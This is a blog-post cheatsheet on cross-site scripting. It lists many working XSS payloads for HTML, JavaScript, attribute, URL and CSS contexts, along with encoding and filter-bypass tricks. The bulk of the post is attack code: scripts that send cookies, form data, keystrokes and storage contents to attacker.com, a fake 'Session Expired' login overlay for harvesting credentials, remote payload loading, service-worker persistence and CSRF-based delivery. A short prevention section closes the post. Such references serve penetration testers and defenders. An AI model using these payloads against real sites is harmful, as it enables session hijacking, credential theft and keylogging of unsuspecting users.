Skip to content
bughra.dev
Go back

XSS (Cross-Site Scripting)

Introduction

Cross-Site Scripting (XSS) is a client-side injection vulnerability that allows attackers to execute malicious JavaScript in victims’ browsers. This cheatsheet covers various XSS types, detection techniques, exploitation methods, and prevention strategies.

Types of XSS Vulnerabilities

Reflected XSS

Stored XSS

DOM-based XSS

Common XSS Contexts & Basic Payloads

HTML Context

<!-- Basic alert -->
<script>alert('XSS')</script>

<!-- Image with onerror -->
<img src="x" onerror="alert('XSS')">

<!-- SVG-based XSS -->
<svg onload="alert('XSS')">

<!-- Body onload -->
<body onload="alert('XSS')">

<!-- Video tag -->
<video><source onerror="alert('XSS')">

<!-- Audio tag -->
<audio src=x onerror="alert('XSS')">

JavaScript Context

// Breaking out of string context
";alert('XSS');//

// Breaking out of template literals
${alert('XSS')}

// Inside a function argument
'-alert('XSS')-'

// Breaking from comments
*/alert('XSS')/*

Attribute Context

<!-- Event handler injection -->
<button onclick="'-alert('XSS')-'">Click Me</button>

<!-- Breaking out of attribute -->
" onmouseover="alert('XSS')

<!-- Closing tag and adding new tag -->
"><script>alert('XSS')</script>

URL Context

<!-- JavaScript protocol -->
<a href="javascript:alert('XSS')">Click Me</a>

<!-- Data URL -->
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">Click Me</a>

CSS Context

<style>
@import 'data:text/css;base64,LyogKi9ib2R5e3Zpc2liaWxpdHk6aGlkZGVufS8qICovYXtjb2xvcjpyZWR9LyogKi9ib2R5e3Zpc2liaWxpdHk6dmlzaWJsZTtmb250LXNpemU6MTVwdH0vKiAqL3h7Zm9udDoxcHQvMXB0IFwnaHR0cHM6Ly9leGFtcGxlLmNvbS94c3MuanNcJ31h';
</style>

<div style="background:url('javascript:alert(1)')">

<style>
body{font-family:'</style><script>alert(1)</script>'}
</style>

Advanced XSS Payloads

Filter Bypass Techniques

Mixed Case Bypass

<ScRiPt>alert('XSS')</ScRiPt>

No Script Tags

<img src="x" onerror="alert('XSS')">
<div onmouseover="alert('XSS')">hover me</div>
<body onload="alert('XSS')">

Encoding Bypass

<!-- HTML Encoding -->
&lt;script&gt;alert('XSS')&lt;/script&gt;

<!-- URL Encoding -->
%3Cscript%3Ealert('XSS')%3C/script%3E

<!-- JavaScript Unicode Escape -->
\u003Cscript\u003Ealert('XSS')\u003C/script\u003E

<!-- Hex Encoding -->
<script>eval('\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29')</script>

<!-- Base64 -->
<script>eval(atob('YWxlcnQoJ1hTUycpOw=='))</script>

<!-- Double Encoding -->
%253Cscript%253Ealert('XSS')%253C/script%253E

Script Splitting / Obfuscation

<!-- String splitting -->
<script>a='ale';b='rt';c='(1)';eval(a+b+c)</script>

<!-- Concatenation -->
<script>document['write']('<img src=x onerror=alert(1)>')</script>

<!-- No parentheses -->
<script>onerror=alert;throw 1</script>

<!-- No quotes -->
<script>alert`XSS`</script>

Character Mutations

<!-- Mutations -->
<ſcript>alert(1)</ſcript>
<script/x>alert(1)</script>
<script ~~~>alert(1)</script>

<!-- Null byte (in older browsers) -->
<img src="javascript:alert('XSS')%00.jpg">

DOM-based XSS Payloads

// location.hash exploitation
// Vulnerable code: document.write(location.hash.substring(1))
https://example.com/page.html#<img src=x onerror=alert('XSS')>

// document.referrer exploitation
// Vulnerable code: document.write(document.referrer)
<script>location='https://vulnerable.com/?'+document.cookie</script>

// localStorage exploitation
// Vulnerable code: document.write(localStorage.getItem('data'))
<script>localStorage.setItem('data', '<img src=x onerror=alert(1)>');</script>

XSS for Data Exfiltration

// Cookie stealing
<script>
fetch('https://attacker.com/steal?cookie='+encodeURIComponent(document.cookie))
</script>

// Form data extraction
<script>
document.querySelectorAll('form').forEach(form => {
  form.addEventListener('submit', function(e) {
    fetch('https://attacker.com/steal', {
      method: 'POST',
      body: new FormData(form)
    });
  });
});
</script>

// Keylogger
<script>
document.addEventListener('keypress', function(e) {
  fetch('https://attacker.com/keys?key=' + e.key);
});
</script>

// Credential harvesting via fake login form
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999;">
<h2>Session Expired</h2>
<form onsubmit="fetch('https://attacker.com/creds?u='+this.username.value+'&p='+this.password.value);return false">
  <input name="username" placeholder="Username">
  <input type="password" name="password" placeholder="Password">
  <input type="submit" value="Login">
</form>
</div>

XSS with iframe

<iframe src="javascript:alert('XSS')"></iframe>

<iframe srcdoc="<script>alert('XSS')</script>"></iframe>

<iframe onload="alert('XSS')"></iframe>

Blind XSS

Blind XSS occurs when payload execution happens on pages that the attacker cannot directly see, such as admin panels, logs, or support tickets.

Blind XSS Payloads

// Basic external script payload
<script src="https://attacker.com/payload.js"></script>

// Fetch-based payload
<script>
fetch('https://attacker.com/blind?url='+encodeURIComponent(location.href)+
      '&cookie='+encodeURIComponent(document.cookie)+
      '&localStorage='+encodeURIComponent(JSON.stringify(localStorage))+
      '&sessionStorage='+encodeURIComponent(JSON.stringify(sessionStorage))+
      '&html='+encodeURIComponent(document.documentElement.innerHTML.substring(0,1000)))
</script>

// Image-based payload (does not require script tags)
<img src=x onerror="this.src='https://attacker.com/blind.jpg?url='+encodeURIComponent(location.href)">

// SVG-based payload
<svg onload="fetch('https://attacker.com/blind?'+document.domain)">

Blind XSS Testing Tools

XSS Hunter

<script src="https://yoursubdomain.xss.ht"></script>

Blind XSS with Burp Collaborator

<script>
  fetch('https://BURP-COLLABORATOR-SUBDOMAIN.burpcollaborator.net', {
    method: 'POST',
    body: JSON.stringify({
      url: location.href,
      cookies: document.cookie,
      localStorage: localStorage,
      dom: document.documentElement.outerHTML.substring(0,5000)
    })
  })
</script>

Custom Self-Hosted Solution

// payload.js on attacker server
(function() {
  var data = {
    url: location.href,
    cookies: document.cookie,
    localStorage: JSON.stringify(localStorage),
    dom: document.documentElement.innerHTML.substring(0, 5000),
    userAgent: navigator.userAgent,
    time: new Date().toString()
  };
  
  fetch('https://attacker.com/collect', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify(data)
  });
})();

Blind XSS Exploitation Techniques

Identify Potential Blind XSS Entry Points

Payload Persistence & Re-execution

// Store in localStorage for persistence
<script>
localStorage.setItem('xss_payload', '<img src=x onerror="alert(1)">');
document.write(localStorage.getItem('xss_payload'));
</script>

// Create a service worker for persistence
<script>
if (navigator.serviceWorker) {
  navigator.serviceWorker.register('https://attacker.com/sw.js');
}
</script>

Information Collection

// Gather extensive information upon execution
<script>
var data = {
  url: location.href,
  cookies: document.cookie,
  localStorage: JSON.stringify(localStorage),
  sessionStorage: JSON.stringify(sessionStorage),
  html: document.documentElement.outerHTML,
  screenshot: getScreenshot(), // Function to capture canvas screenshot
  userAgent: navigator.userAgent,
  time: new Date().toString(),
  origin: document.location.origin,
  referrer: document.referrer,
  adminElements: checkForAdminElements(), // Function to check admin UI elements
  // Network and environment information
  ip: await (await fetch('https://api.ipify.org?format=json')).json(),
  indexed_db: await listAllIndexedDB(),
};

fetch('https://attacker.com/collect', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify(data)
});
</script>

XSS Delivery Methods

URL-Based Delivery

# URL parameters
https://vulnerable.com/search?q=<script>alert('XSS')</script>

# Hash/fragment
https://vulnerable.com/#<script>alert('XSS')</script>

# Path-based (if reflected in page)
https://vulnerable.com/<script>alert('XSS')</script>

Form-Based Delivery

<!-- Automatic form submission -->
<body onload="document.forms[0].submit()">
<form action="https://vulnerable.com/process" method="POST">
  <input name="comment" value="<script>alert('XSS')</script>">
</form>
</body>

<!-- CSRF to deliver XSS -->
<form id="xss" action="https://vulnerable.com/profile/update" method="POST">
  <input type="hidden" name="bio" value="<script>alert('XSS')</script>">
</form>
<script>document.getElementById("xss").submit();</script>

HTTP Header Injection

# User-Agent header
curl -H "User-Agent: <script>alert('XSS')</script>" https://vulnerable.com

# Referer header
curl -H "Referer: <script>alert('XSS')</script>" https://vulnerable.com

# X-Forwarded-For header
curl -H "X-Forwarded-For: <script>alert('XSS')</script>" https://vulnerable.com

File Upload XSS

<!-- SVG file with embedded script -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert('XSS')</script>
</svg>

<!-- HTML file upload (if allowed) -->
<html>
<body>
<script>alert('XSS')</script>
</body>
</html>

<!-- XSS in file name -->
file_name_"><script>alert('XSS')</script>.jpg

<!-- XSS in metadata (EXIF) -->
exiftool -DocumentName="<script>alert('XSS')</script>" image.jpg

QR Code XSS Delivery

  1. Generate QR code containing: https://vulnerable.com/?q=<script>alert('XSS')</script>
  2. Victim scans QR code
  3. Browser loads malicious URL

Social Engineering Delivery

  1. Send shortened/obfuscated URL via email/message
  2. Create fake login page that forwards XSS payload
  3. Use typosquatting domains with XSS payloads

Testing for XSS

Manual Testing Steps

  1. Identify input vectors (URL parameters, form fields, headers)
  2. Test with simple payloads: <script>alert('XSS')</script>
  3. If blocked, try alternative payloads and bypass techniques
  4. Test different contexts (HTML, JS, attributes)
  5. Check for reflections in responses
  6. Verify execution by using alert() or external callbacks

Automated Tools for XSS Detection

Prevention & Mitigation

Input Validation

// Server-side input validation
function validateInput(input) {
  // Allow only alphanumeric and specific characters
  return /^[a-zA-Z0-9\s\.,\-_]+$/.test(input);
}

Output Encoding

// Server-side HTML encoding
function htmlEncode(input) {
  return input
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

// JavaScript encoding
function jsEncode(input) {
  return input.replace(/[^\w\s]/gi, function(c) {
    return '\\u' + ('0000' + c.charCodeAt(0).toString(16)).slice(-4);
  });
}

Content Security Policy (CSP)

# Strong CSP Header
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; frame-src 'none';

XSS Protection Headers

# X-XSS-Protection Header (legacy)
X-XSS-Protection: 1; mode=block

Framework-specific Protections

// React (auto-escapes by default)
const userContent = "<script>alert('XSS')</script>";
return <div>{userContent}</div>; // Safe in React

// Angular
// Use [innerText] instead of [innerHTML]
<div [innerText]="userContent"></div>

// Vue.js
// Use v-text instead of v-html when possible
<div v-text="userContent"></div>

Common XSS Vulnerable Parameters

References

  1. OWASP XSS Prevention Cheat Sheet
  2. PortSwigger XSS Guide
  3. XSS Hunter
  4. PayloadsAllTheThings - XSS
  5. HackTricks - XSS

Share this post on:

Previous Post
XSLT Injection